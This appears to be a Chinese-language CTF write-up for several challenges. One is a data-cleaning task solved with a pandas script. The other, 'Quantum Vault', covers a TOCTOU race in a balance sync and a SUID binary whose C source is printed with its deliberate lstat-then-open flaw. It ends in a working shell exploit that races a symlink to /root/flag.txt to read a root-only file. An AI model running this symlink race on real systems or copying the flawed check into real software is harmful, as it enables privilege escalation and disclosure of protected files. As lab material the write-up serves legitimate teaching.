What a mess!
这题被非预期了,交对一个就能从相应包中看到flag((
预期解:
观察表格发现是做了以下混淆:
姓名:随机将姓氏王替换为Wang、随机将姓氏李替换为Li
手机号:以13912345678为例,表格中存在六种格式:13912345678、139-1234-5678、139
1234
5678、+8613912345678、(+86)139-12345678、139(1234)5678,另外还随机进行了半角转全角、插入零宽字符,注意需根据规则筛选出白名单内的号码前缀
身份证号:随机替换最后一位或增长一位,另外还随机插入了零宽字符
余额:存在三种格式,123、¥123、123CNY,注意需根据规则只需要计算正数余额
解题脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 import pandas as pdimport unicodedataimport reINPUT_CSV = "customer_dump.csv" INPUT_XLSX = "system_audit_logs.xlsx" def clean_text_basic (text ): if pd.isna(text): return "" text = str (text) text = unicodedata.normalize('NFKC' , text) zero_width_chars = ['\u200b' , '\u200c' , '\u200d' , '\uFEFF' ] for char in zero_width_chars: text = text.replace(char, '' ) return text.strip() def extract_valid_phone (phone_str, whitelist_prefixes ): digits = re.sub(r'\D' , '' , phone_str) if len (digits) == 13 and digits.startswith('86' ): digits = digits[2 :] if len (digits) != 11 : return None prefix = digits[:3 ] if prefix in whitelist_prefixes: return digits return None def check_id_card (id_card ): if len (id_card) != 18 : return False if not re.match (r'^\d{17}[\dX]$' , id_card): return False factors = [7 , 9 , 10 , 5 , 8 , 4 , 2 , 1 , 6 , 3 , 7 , 9 , 10 , 5 , 8 , 4 , 2 ] check_map = ['1' , '0' , 'X' , '9' , '8' , '7' , '6' , '5' , '4' , '3' , '2' ] try : total_sum = 0 for i in range (17 ): total_sum += int (id_card[i]) * factors[i] remainder = total_sum % 11 expected_code = check_map[remainder] return expected_code == id_card[-1 ].upper() except : return False def parse_balance (balance_str ): clean_num = re.sub(r'[^\d.-]' , '' , balance_str) try : return float (clean_num) except ValueError: return 0.0 def is_surname_li (name ): if not name: return False if name.startswith('李' ): return True if name.lower().startswith('li' ): return True return False def main (): print ("[-] 正在加载数据与规则..." ) try : rules_df = pd.read_excel(INPUT_XLSX, sheet_name='Sheet1' ) prefix_rule = rules_df.loc[rules_df['Config_Item' ] == 'Allow_Prefix' , 'Value' ].values[0 ] valid_prefixes = [x.strip() for x in str (prefix_rule).split(',' )] print (f"[-] 加载白名单号段: {len (valid_prefixes)} 个" ) except Exception as e: print (f"[!] 读取Excel规则失败: {e} " ) return df = pd.read_csv(INPUT_CSV) original_count = len (df) print ("[-] 执行全角转半角、去除零宽字符..." ) for col in df.columns: df[col] = df[col].apply(clean_text_basic) print ("[-] 执行数据去重..." ) df.drop_duplicates(inplace=True ) dedup_count = len (df) print (f"[-] 数据量变化: {original_count} -> {dedup_count} (剔除重复: {original_count - dedup_count} )" ) df['clean_phone' ] = df['Phone' ].apply(lambda x: extract_valid_phone(x, valid_prefixes)) df['is_valid_phone' ] = df['clean_phone' ].notna() q1_ans = df['is_valid_phone' ].sum () df['is_valid_id' ] = df['ID_Card' ].apply(check_id_card) q2_ans = df['is_valid_id' ].sum () df['is_valid_both' ] = df['is_valid_phone' ] & df['is_valid_id' ] q3_ans = df['is_valid_both' ].sum () target_users = df[df['is_valid_both' ]].copy() target_users['clean_balance' ] = target_users['Balance' ].apply(parse_balance) q4_ans = target_users[target_users['clean_balance' ] > 0 ]['clean_balance' ].sum () q5_ans = target_users['Name' ].apply(is_surname_li).sum () print ("\n" + "=" *30 ) print (" 分析结果报告 " ) print ("=" *30 ) print (f"Q1. 符合白名单的有效手机号数量: {q1_ans} " ) print (f"Q2. 身份证校验位正确的记录数: {q2_ans} " ) print (f"Q3. 同时满足Q1和Q2的记录数: {q3_ans} " ) print (f"Q4. Q3用户的正资产余额总和: {q4_ans:,.2 f} " ) print (f"Q5. Q3用户中'李'姓(含Li)人数: {q5_ans} " ) print ("=" *30 ) if __name__ == "__main__" : main()
What another mess!
同What a mess!预期解
Quantum Vault
整道题考察的其实是TOCTOU漏洞。
上来给的是一个“跨维度金融终端”,题目中初始余额是100USD,要求拥有超过1000000USD才能成功执行vault。另外注意到collect可以给“影子池”添加1000QTC,sync可以耗时2.5秒将“影子池”同步到余额中,每次同步前只能collect五次。
预期解如下:
c738b836-cdf3-403a-be06-c5b1b6f8ed8e
主要是利用了延迟的这段时间迅速修改了单位,导致真正执行同步时读取到的是被修改后的单位导致记录错误。
接下来直接就给出了shell,根据题目描述flag在/root/flag.txt中,因此显然需要提权。尝试suid提权可以发现有个/usr/local/bin/q-vault-sync,这是个自定义的命令,-h可以看到其功能
82445024-037d-42fc-9fe8-857ff33c80cb
这里给出q-vault-sync.c的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <getopt.h> void print_usage (char *prog_name) { printf ("Quantum Core Financial Terminal - Sync Utility\n" ); printf ("Usage: %s [options]\n\n" , prog_name); printf ("Options:\n" ); printf (" -s <file> Specify the source quantum key file for validation.\n" ); printf (" -d <dir> Specify the destination shadow directory (Must be in /tmp/).\n" ); printf (" -v Enable verbose diagnostic output.\n" ); printf (" -h Display this help message and exit.\n\n" ); printf ("Description:\n" ); printf (" This utility synchronizes local quantum entropy keys with the dimension\n" ); printf (" ledger's shadow pool. It performs high-integrity ownership verification\n" ); printf (" before initiating the cross-dimensional data transfer protocol.\n" ); } int main (int argc, char *argv[]) { char *src = NULL ; char *dst_dir = NULL ; int verbose = 0 ; int opt; while ((opt = getopt(argc, argv, "s:d:vh" )) != -1 ) { switch (opt) { case 's' : src = optarg; break ; case 'd' : dst_dir = optarg; break ; case 'v' : verbose = 1 ; break ; case 'h' : print_usage(argv[0 ]); return 0 ; default : print_usage(argv[0 ]); return 1 ; } } if (!src || !dst_dir) { fprintf (stderr , "Error: Missing required arguments. Use -h for help.\n" ); return 1 ; } char dest_path[512 ]; struct stat st ; if (strncmp (dst_dir, "/tmp/" , 5 ) != 0 ) { printf ("[-] Security Error: Destination must reside within protected /tmp/ space.\n" ); return 1 ; } if (lstat(src, &st) < 0 ) { perror("lstat" ); return 1 ; } if (S_ISLNK(st.st_mode)) { printf ("[-] Security Violation: Dimensional instability detected (Symlink forbidden).\n" ); return 1 ; } if (st.st_uid != getuid()) { printf ("[-] Access Denied: Unauthorized key ownership.\n" ); return 1 ; } if (verbose) printf ("[DEBUG] Ownership verified. Initializing entropy-sync...\n" ); printf ("[*] Check passed. Quantum key validation in progress...\n" ); sleep(2 ); snprintf (dest_path, sizeof (dest_path), "%s/synced_key.dat" , dst_dir); int fd_in = open(src, O_RDONLY); if (fd_in < 0 ) { perror("open src" ); return 1 ; } int fd_out = open(dest_path, O_WRONLY | O_CREAT | O_TRUNC, 0666 ); if (fd_out < 0 ) { perror("open dst" ); close(fd_in); return 1 ; } char buf[1024 ]; int n; while ((n = read(fd_in, buf, sizeof (buf))) > 0 ) { write(fd_out, buf, n); } close(fd_in); close(fd_out); chown(dest_path, getuid(), getgid()); printf ("[+] Key successfully synchronized to %s\n" , dest_path); return 0 ; }
在q-vault-sync.c的源码中,程序执行了以下逻辑:
Check :调用 lstat() 检查源文件。此时它确认了:
文件是否在/tmp下
文件不是软链接。
文件属于当前用户 ctfuser。
Delay :程序执行了sleep(2)。
Use :程序调用 open(),若此时程序具有 SUID
权限,它会打开并读取目标文件。
又因为open()会默认跟随软链接,因此在lstat完成之后,open执行之前,迅速将合法文件替换为指向/root/flag.txt的软链接即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cat << 'EOF' > exploit.sh && chmod +x exploit.sh && ./exploit.shTARGET_DIR="/tmp/hack" MY_KEY="$TARGET_DIR /mykey.txt" mkdir -p "$TARGET_DIR " echo "valid_key" > "$MY_KEY " /usr/local/bin/q-vault-sync -s "$MY_KEY " -d "$TARGET_DIR " & PID=$! sleep 0.4rm "$MY_KEY " && ln -s /root/flag.txt "$MY_KEY " wait $PID cat "$TARGET_DIR /synced_key.dat" EOF
6ef53010-ebec-43da-a5f4-8eb88ff38a99